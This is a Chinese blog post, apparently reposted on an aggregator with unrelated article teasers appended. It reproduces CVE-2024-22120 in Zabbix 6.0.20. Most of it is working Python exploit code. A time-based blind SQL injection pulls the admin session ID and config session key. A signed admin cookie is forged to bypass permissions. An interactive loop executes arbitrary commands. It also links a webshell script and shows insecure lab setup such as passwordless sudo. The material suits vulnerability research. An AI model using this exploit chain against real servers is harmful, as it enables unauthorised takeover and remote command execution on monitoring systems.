Zabbix低权限SQL注入至RCE+权限绕过

Zabbix低权限SQL注入至RCE+权限绕过,可惜没找到关于传webshell的好方法,如有大神告知,感激万分!
本文中所有代码以及后续更新都会放在我的github仓库中:

https://github.com/W01fh4cker/CVE-2024-22120-RCE

一、漏洞环境搭建
1.1 下载vmware镜像并设置
源码地址:

https://cdn.zabbix.com/zabbix/sources/stable/6.0/zabbix-6.0.20.tar.gz

Eclipse搭建调试环境的参考文章:

https://mp.weixin.qq.com/s/dBLFvkm6oV_5AMLuwcvuLQ

直接懒人一键搭建:

https://cdn.zabbix.com/zabbix/appliances/stable/6.0/6.0.20/zabbix_appliance-6.0.20-vmx.tar.gz

解压之后,vmware直接打开vmx文件,默认账号密码是root/zabbix。

登录之后执行命令visudo,在底下添加一行:

zabbix ALL=(ALL) NOPASSWD:ALL
在这里插入图片描述
如果后续在web界面执行脚本的时候出错的话可以参考这篇文章继续修改尝试,反正我只加这一行就行了:

https://www.cnblogs.com/gqdw/p/3844881.html

为了方便测试,我们可以本地navicat连接环境的mysql数据库:

mysql -uroot
SET PASSWORD = ‘zabbix’;
use mysql;
select host, user from user;
update user set host = ‘%’ where user =‘root’;
FLUSH PRIVILEGES;
GRANT ALL PRIVILEGES ON . TO ‘root’@‘%’ WITH GRANT OPTION;
FLUSH PRIVILEGES;
exit
/sbin/iptables -I INPUT -p tcp --dport 3306 -j ACCEPT
yum install policycoreutils -y
service iptables save
1.2 漏洞环境设置
然后就是需要一些设置,首先需要添加一个用户,但是默认的User Role是没有HOSTS的查看权限的,所以需要先去开权限:
在这里插入图片描述
在这里插入图片描述
然后至少给一个读的权限,并点击Add:
在这里插入图片描述
在这里插入图片描述
现在开始添加用户:
在这里插入图片描述
组就选我们刚刚设置过的Guests:
在这里插入图片描述
角色选择User Role:
在这里插入图片描述
为什么说这个漏洞鸡肋呢,提交漏洞的作者说了,需要一个低权限用户,并且该用户需要具有Detect operating system的权限,但是这个操作默认的是没有的,只有管理员用户组才有:

在这里插入图片描述
需要手动设置用户组为全部或者Guests:
在这里插入图片描述
在这里插入图片描述
到这里就可以了,然后按照作者给出的复现步骤复现即可:

https://support.zabbix.com/browse/ZBX-24505

二、漏洞复现
2.1 验证漏洞存在并获取管理员session id和session key
作者给出的脚本如下:

https://support.zabbix.com/secure/attachment/236280/zabbix_server_time_based_blind_sqli.py

他说可以延迟获取管理员的session id,但是我本地复现的时候获取的全0:

在这里插入图片描述
登录数据库发现,有多个sessionid,需要加一个limit 1:

在这里插入图片描述

因此我们可以修改代码如下:

import json
import argparse
from pwn import *
from datetime import datetime

def send_message(ip, port, sid, hostid, injection):
zbx_header = “ZBXD\x01”.encode()
message = {
“request”: “command”,
“sid”: sid,
“scriptid”: “3”,
“clientip”: "’ + " + injection + “+ '”,
“hostid”: hostid
}
message_json = json.dumps(message)
message_length = struct.pack(‘<q’, len(message_json))
message = zbx_header + message_length + message_json.encode()
#print(“Sending message %s” % message)
r = remote(ip, port, level=‘debug’)
r.send(message)
response = r.recv(1024)
r.close()
print(response)

def extract_admin_session_id(ip, port, sid, hostid, time_false, time_true):
session_id = “”
token_length = 32
for i in range(1, token_length+1):
for c in string.digits + “abcdef”:
print(“\n(+) trying c=%s” % c, end=“”, flush=True)
before_query = datetime.now().timestamp()
query = “(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)” % (i, ord©, time_true, time_false)
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
if time_true > (after_query-before_query) > time_false:
continue
else:
session_id += c
print(“(+) session_id=%s” % session_id, end=“”, flush=True)
break
print(“\n”)
return session_id

def extract_config_session_key(ip, port, sid, hostid, time_false, time_true):
token = “”
token_length = 32
for i in range(1, token_length+1):
for c in string.digits + “abcdef”:
print(“\n(+) trying c=%s” % c, end=“”, flush=True)
before_query = datetime.now().timestamp()
query = “(select CASE WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)” % (i, ord©, time_true, time_false)
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
if time_true > (after_query-before_query) > time_false:
continue
else:
token += c
print(“(+) session_key=%s” % token, end=“”, flush=True)
break
print(“\n”)
return token

def tiny_poc(ip, port, sid, hostid):
print(“(+) Running simple PoC…\n”, end=“”, flush=True)
print(“(+) Sleeping for 1 sec…\n”, end=“”, flush=True)
before_query = datetime.now().timestamp()
query = “(select sleep(1))”
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
print(“(+) Request time: %d\n” % (after_query-before_query))
print(“(+) Sleeping for 5 sec…\n”, end=“”, flush=True)
before_query = datetime.now().timestamp()
query = “(select sleep(5))”
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
print(“(+) Request time: %d\n” % (after_query - before_query))
print(“(+) Sleeping for 10 sec…\n”, end=“”, flush=True)
before_query = datetime.now().timestamp()
query = “(select sleep(10))”
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
print(“(+) Request time: %d\n” % (after_query - before_query))

def poc_to_check_in_zabbix_log(ip, port, sid, hostid):
print(“(+) Sending SQL request for MySQL version…\n”, end=“”, flush=True)
query = “(version())”
send_message(ip, port, sid, hostid, query)

if name == “main”:
parser = argparse.ArgumentParser(description=‘Command-line option parser example’)
parser.add_argument(“–false_time”, help=“Time to sleep in case of wrong guess(make it smaller than true time, default=1)”, default=“1”)
parser.add_argument(“–true_time”, help=“Time to sleep in case of right guess(make it bigger than false time, default=10)”, default=“10”)
parser.add_argument(“–ip”, help=“Zabbix server IP”)
parser.add_argument(“–port”, help=“Zabbix server port(default=10051)”, default=“10051”)
parser.add_argument(“–sid”, help=“Session ID of low privileged user”)
parser.add_argument(“–hostid”, help=“hostid of any host accessible to user with defined sid”)
parser.add_argument(“–poc”, action=‘store_true’, help=“Use this key if you want only PoC, PoC will simply make sleep 1,2,5 seconds on mysql server”, default=False)
parser.add_argument(“–poc2”, action=‘store_true’, help=“Use this key to simply generate error in zabbix logs, check logs later to see results”, default=False)
args = parser.parse_args()
if args.poc:
tiny_poc(args.ip, int(args.port), args.sid, args.hostid)
elif args.poc2:
poc_to_check_in_zabbix_log(args.ip, int(args.port), args.sid, args.hostid)
else:
print(“(+) Extracting Zabbix config session key…\n”, end=“”, flush=True)
config_session_key = extract_config_session_key(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
print(“(+) config session_key=%s\n” % config_session_key, end=“”, flush=True)
print(“(+) Extracting admin session_id…”)
admin_sessionid = extract_admin_session_id(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
print(“(+) admin session_id=%s\n” % admin_sessionid, end=“”, flush=True)
print(“(+) session_key=%s, admin session_id=%s. Now you can genereate admin zbx_cookie and sign it with session_key” % (config_session_key, admin_sessionid))
这样就可以正确获取啦:
在这里插入图片描述
有了这个就可以实现RCE了,请看后文。

然后是poc2:

python main.py --ip 192.168.198.136 --sid 4d2b6a02bfe2bc7d6fde50e8fe646621 --hostid 10084 LOG_LEVEL=error --poc2
然后查看日志:

cat /var/log/zabbix/zabbix_server.log | grep “version()”
在这里插入图片描述
2.2 利用获取到的管理员session id实现RCE
import requests
import json

ZABIX_ROOT = “http://192.168.198.136”
url = ZABIX_ROOT + “/api_jsonrpc.php”
host_id = “10084”
session_id = “00000000000000000000000000000000”
headers = {
“content-type”: “application/json”,
}
auth = json.loads(‘{“jsonrpc”: “2.0”, “result”: "’ + session_id + ‘", “id”: 0}’)

while True:
cmd = input('\033[41m[zabbix_cmd]>>: \033[0m ')
if cmd == “”:
print(“Result of last command:”)
elif cmd == “quit”:
break
payload = {
“jsonrpc”: “2.0”,
“method”: “script.update”,
“params”: {
“scriptid”: “1”,
“command”: “” + cmd + “”
},
“auth”: auth[‘result’],
“id”: 0,
}
cmd_upd = requests.post(url, data=json.dumps(payload), headers=headers)
payload = {
“jsonrpc”: “2.0”,
“method”: “script.execute”,
“params”: {
“scriptid”: “1”,
“hostid”: “” + host_id + “”
},
“auth”: auth[‘result’],
“id”: 0,
}
cmd_exe = requests.post(url, data=json.dumps(payload), headers=headers)
cmd_exe_json = cmd_exe.json()
if “error” not in cmd_exe.text:
print(cmd_exe_json[“result”][“value”])
else:
print(cmd_exe_json[“error”][“data”])

2.3 利用获取到的管理员session id和session key构造zbx_session登录管理界面
作者在报告中提了一嘴有session_id和session_key就可以得到sign值,然后就可以拼出zbx_session:

网上也没找到相应的成品代码,那就去翻源码。

zabbix-6.0.20\ui\include\classes\core\CCookieSession.php这里面的代码是用来处理和session相关的操作的,代码也是写的通俗易懂:
在这里插入图片描述
在这里插入图片描述

就是做一个SHA256的hash操作,那感情好啊,直接写出php形式的poc:

<?php function sign(string $data): string { $key = "927f855d3388d6daedb153d3de864970"; return hash_hmac("sha256", $data, $key); } function prepareData(array $data): string { $data['sign'] = sign(json_encode($data)); return base64_encode(json_encode($data)); } function set(string $key, $value):array { $_SESSION[$key] = $value; return $_SESSION; } set("sessionid", "be52fe697c5935099d441f03c5c68bff"); set("serverCheckResult", true); $session_ = set("serverCheckTime", time()); $res = prepareData($session_); echo $res; ?>

改成python代码的时候需要注意字典的item的位置问题,示例代码如下:

def GenerateAdminSession(sessionid, session_key):
def sign(data: str) -> str:
key = session_key.encode()
return hmac.new(key, data.encode(‘utf-8’), hashlib.sha256).hexdigest()

def prepare_data(data: dict) -> str:sorted_data = OrderedDict(data.items())sorted_data['sign'] = sign(json.dumps(sorted_data, separators=(',', ':')))return base64.b64encode(json.dumps(sorted_data, separators=(',', ':')).encode('utf-8')).decode('utf-8')session = {"sessionid": sessionid,"serverCheckResult": True,"serverCheckTime": int(time.time())
}
res = prepare_data(session)
return res

完整的代码:

import hmac
import json
import argparse
import requests
from pwn import *
from datetime import datetime

def SendMessage(ip, port, sid, hostid, injection):
context.log_level = “CRITICAL”
zbx_header = “ZBXD\x01”.encode()
message = {
“request”: “command”,
“sid”: sid,
“scriptid”: “1”,
“clientip”: "’ + " + injection + “+ '”,
“hostid”: hostid
}
message_json = json.dumps(message)
message_length = struct.pack(‘<q’, len(message_json))
message = zbx_header + message_length + message_json.encode()
r = remote(ip, port, level=“CRITICAL”)
r.send(message)
r.recv(1024)
r.close()

def ExtractConfigSessionKey(ip, port, sid, hostid, time_false, time_true):
token = “”
token_length = 32
for i in range(1, token_length+1):
for c in string.digits + “abcdef”:
before_query = datetime.now().timestamp()
query = “(select CASE WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)” % (i, ord©, time_true, time_false)
SendMessage(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
if time_true > (after_query-before_query) > time_false:
continue
else:
token += c
print(“(+) session_key=%s” % token, flush=True)
break
return token

def ExtractAdminSessionId(ip, port, sid, hostid, time_false, time_true):
session_id = “”
token_length = 32
for i in range(1, token_length+1):
for c in string.digits + “abcdef”:
before_query = datetime.now().timestamp()
query = “(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)” % (i, ord©, time_true, time_false)
SendMessage(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
if time_true > (after_query-before_query) > time_false:
continue
else:
session_id += c
print(“(+) session_id=%s” % session_id, flush=True)
break
return session_id

def GenerateAdminSession(sessionid, session_key):
def sign(data: str) -> str:
key = session_key.encode()
return hmac.new(key, data.encode(‘utf-8’), hashlib.sha256).hexdigest()

def prepare_data(data: dict) -> str:sorted_data = OrderedDict(data.items())sorted_data['sign'] = sign(json.dumps(sorted_data, separators=(',', ':')))return base64.b64encode(json.dumps(sorted_data, separators=(',', ':')).encode('utf-8')).decode('utf-8')session = {"sessionid": sessionid,"serverCheckResult": True,"serverCheckTime": int(time.time())
}
res = prepare_data(session)
return res

def CheckAdminSession(ip, admin_session):
proxy = {
“https”: “http://127.0.0.1:8083”,
“http”: “http://127.0.0.1:8083”
}
url = f"http://{ip}/zabbix.php?action=dashboard.view"
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36”,
“Cookie”: f"zbx_session={admin_session}"
}
resp = requests.get(url=url, headers=headers, timeout=10, proxies=proxy)
if “Administration” in resp.text and resp.status_code == 200:
return admin_session
else:
return None

if name == “main”:
parser = argparse.ArgumentParser(description=“CVE-2024-22120-LoginAsAdmin”)
parser.add_argument(“–false_time”,
help=“Time to sleep in case of wrong guess(make it smaller than true time, default=1)”,
default=“1”)
parser.add_argument(“–true_time”,
help=“Time to sleep in case of right guess(make it bigger than false time, default=10)”,
default=“10”)
parser.add_argument(“–ip”, help=“Zabbix server IP”)
parser.add_argument(“–port”, help=“Zabbix server port(default=10051)”, default=“10051”)
parser.add_argument(“–sid”, help=“Session ID of low privileged user”)
parser.add_argument(“–hostid”, help=“hostid of any host accessible to user with defined sid”)
args = parser.parse_args()
admin_sessionid = ExtractAdminSessionId(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
session_key = ExtractConfigSessionKey(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
admin_session = GenerateAdminSession(admin_sessionid, session_key)
res = CheckAdminSession(args.ip, admin_session)
if res is not None:
print(f"try replace cookie with:\nzbx_session={res}")
else:
print(“failed”)
完整的演示效果如下:

可以看到这里是用户vulntest的界面:
在这里插入图片描述
然后运行拿到session:
在这里插入图片描述
替换cookie中对应的参数,然后刷新:
在这里插入图片描述
即可看到是Zabbix Administrator了,实现了从用户界面到管理界面的转换:
在这里插入图片描述
2.4 写Webshell
没有花时间研究其他办法了,因为运行用户是zabbix,等级太低了,所以默认情况下是没权限去echo写马的,但是我还是把对应的脚本传上去了:

https://github.com/W01fh4cker/CVE-2024-22120-RCE/blob/main/CVE-2024-22120-Webshell.py

在这里插入图片描述
网上对于这方面的研究不多,看到一篇灼剑安全团队的N0r4h师傅写的文章:

https://mp.weixin.qq.com/s/XKhmivS1_TarPD5yKgzQwA

他也提到了无法直接echo写马,但是他当时遇到的环境是存在pkexec的,所以有了后续的利用。
在这里插入图片描述
但是默认肯定是没有的:
在这里插入图片描述
三、代码分析(略)
问题出在如下位置,就不花时间仔细调试了
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/58200.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[vulnhub]DC: 1

https://www.vulnhub.com/entry/dc-1,292/ 主机发现端口扫描 使用nmap扫描网段类存活主机 因为靶机是我最后添加的&#xff0c;所以靶机IP是156 nmap -sP 192.168.75.0/24 // Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-28 12:48 CST Nmap scan rep…

jmeter脚本-请求体设置变量and请求体太长的处理

目录 1、查询接口 1.1 准备组织列表的TXT文件&#xff0c;如下&#xff1a; 1.2 添加 CSV数据文件设置 &#xff0c;如下&#xff1a; 1.3 接口请求体设置变量&#xff0c;如下&#xff1a; 2、创建接口 2.1 见1.1 2.2 见1.2 2.3 准备创建接口的请求体TXT文件&#xff…

SQL,力扣题目1549,每件商品的最新订单【窗口函数】

一、力扣链接 LeetCode_1549 二、题目描述 表: Customers ------------------------ | Column Name | Type | ------------------------ | customer_id | int | | name | varchar | ------------------------ customer_id 是该表主键. 该表包含消费者的…

卸载 Adobe Genuine Software Client

一、问题描述 使用破jie版Adobe Acrobat Pro DC软件后&#xff0c;会经常弹出以下窗口&#xff1a; 且上述探窗无法直接关掉。即使通过任务管理器将其临时关掉&#xff0c;可等过一段时间后&#xff0c;仍然会再次弹出&#xff0c;严重干扰工作进度。 二、问题解决 &#xff…

京东云雅典娜刷机步骤(需要拆机)

京东云雅典娜刷机步骤 必须拆机 必须拆机 必须拆机 刷机要用的文件 1.高通驱动文件&#xff08;USB刷机必备&#xff09;&#xff1a;https://pan.quark.cn/s/6405674f981b 2.进入临时uboot的程序&#xff1a;https://pan.quark.cn/s/ebc1d449cb89 3.uboot固件&#xff1a; ht…

电子商城购物平台的设计与开发+ssm(lw+演示+源码+运行)

摘 要 随着我国经济迅速发展&#xff0c;人们对手机的需求越来越大&#xff0c;各种手机软件也都在被广泛应用&#xff0c;但是对于手机进行数据信息管理&#xff0c;对于手机的各种软件也是备受用户的喜爱&#xff0c;电子商城购物平台小程序被用户普遍使用&#xff0c;为方便…

基于 Spring Boot 和 Vue 的门票销售创新系统

作者介绍&#xff1a;✌️大厂全栈码农|毕设实战开发&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。 &#x1f345;获取源码联系方式请查看文末&#x1f345; 推荐订阅精彩专栏 &#x1f447;&#x1f3fb; 避免错过下次更新 Springboot项目精选实战案例 更多项目…

【Python】Python自习课:第一个python程序

【Python】Python自习课&#xff1a;第一个python程序 示例

docker-compose安装rabbitmq 并开启延迟队列和管理面板插件(rabbitmq_delayed_message_exchange)

问题&#xff1a; 解决rabbitmq-plugins enable rabbitmq_delayed_message_exchange &#xff1a;plugins_not_found 我是在docker-compose环境部署的 services:rabbitmq:image: rabbitmq:4.0-managementrestart: alwayscontainer_name: rabbitmqports:- 5672:5672- 15672:156…

103 - Lecture 2 Table and Data Part 1

SQL - Tables and Data Part 1 Relational Database Management System(RDBMS) 关系型数据库管理系统&#xff08;RDBMS&#xff09;是基于关系模型的数据库系统&#xff0c;它支持多种关系操作。关系模型是一种数据存储和检索的模型&#xff0c;它使用表格来组织数据&#x…

PropTypes 和 TypeScript 在 React 中的比较

文章目录 引言PropTypes什么是 PropTypes&#xff1f;如何使用 PropTypes优点缺点 TypeScript什么是 TypeScript&#xff1f;如何使用 TypeScript优点缺点 选择建议总结 引言 在 React 开发中&#xff0c;组件的可复用性和可维护性至关重要。为了确保组件接收到正确的 props&a…

【自动化利器】12个评估大语言模型(LLM)质量的自动化框架

LLM评估是指在人工智能系统中评估和改进语言和语言模型的过程。在人工智能领域&#xff0c;特别是在自然语言处理&#xff08;NLP&#xff09;及相关领域&#xff0c;LLM评估具有至高无上的地位。通过评估语言生成和理解模型&#xff0c;LLM评估有助于细化人工智能驱动的语言相…

儿童安全座椅行业全面深入分析

儿童安全座椅就是一种专为不同体重&#xff08;或年龄段&#xff09;的儿童设计&#xff0c;将孩子束缚在安全座椅内&#xff0c;能有效提高儿童乘车安全的座椅。欧洲强制性执行标准ECE R44/03的定义是&#xff1a;能够固定到机动车辆上&#xff0c;带有ISOFIX接口、LATCH接口的…

Pytest-Bdd-Playwright 系列教程(6):在测试步骤函数中设置别名数据共享

Pytest-Bdd-Playwright 系列教程&#xff08;6&#xff09;&#xff1a;在测试步骤函数中设置别名&数据共享 前言一、步骤别名二、特性文件三、测试脚本四、运行测试五、小测验总结 前言 有的时候&#xff0c;为了提高可读性&#xff0c;我们需要使用不同的名称来声明相同的…

【笔记】变压器-热损耗-频响曲线推导 - 03 变压器参数-特性

参考《Mn-Zn开关电源用铁氧体磁心 PQ系列》&#xff0c;March 2014版 1.可能选择的型号和参数 PQ系列的这种铁氧体结构设计是TDK首创的。 优势是&#xff0c;相对E, EER磁芯&#xff0c;安装面积更小材质选择 PC47PC90PC95尺寸 PQ20/16 最小PQ50/50 最大 2.特性 2.1 温升与…

Unity性能优化 -- 性能分析工具

Stats窗口Profiler窗口Memory Profiler其他性能分析工具&#xff08;Physica Debugger 窗口&#xff0c;Import Activity 窗口&#xff0c;Code Coverage 窗口&#xff0c;Profile Analyzer 窗口&#xff0c;IMGUI Debugger 窗口&#xff09; Stats 统级数据窗口 game窗口 可…

一些swift问题

写得比较快&#xff0c;如果有问题请私信。 序列化和反序列化 反序列化的jsonString2只是给定的任意json字符串 private func p_testDecodeTable() {let arr ["recordID123456", "recordID2"]// 序列化[string] -> json datalet jsonData try? JSO…

VMware虚拟机Debian扩展磁盘

一、 版本 VMware&#xff1a;Workstation 17 Pro虚拟机&#xff1a;Debian11 二、 VMware虚拟机扩展 虚拟机关机状态快照或者备份&#xff1a;以免扩容失败导致文件丢失虚拟机——设置——硬盘——磁盘使用工具——扩展——扩展磁盘容量——设置为想要的大小 三、 虚拟机…

GameFramework教程☀️福利(五):关于该框架的一些意义

文章目录 📢 不同模式的意义本章探讨GF这样编写的意义和使用场景。 📢 不同模式的意义 最近在做一个app,现在在调研阶段。 代码上后期可能用华佗进行C#热更新。 在调研华佗打包完的热更代码如何和UI AB结合起来时,看到了: "> 从这一点可以延伸理解出,当我们使…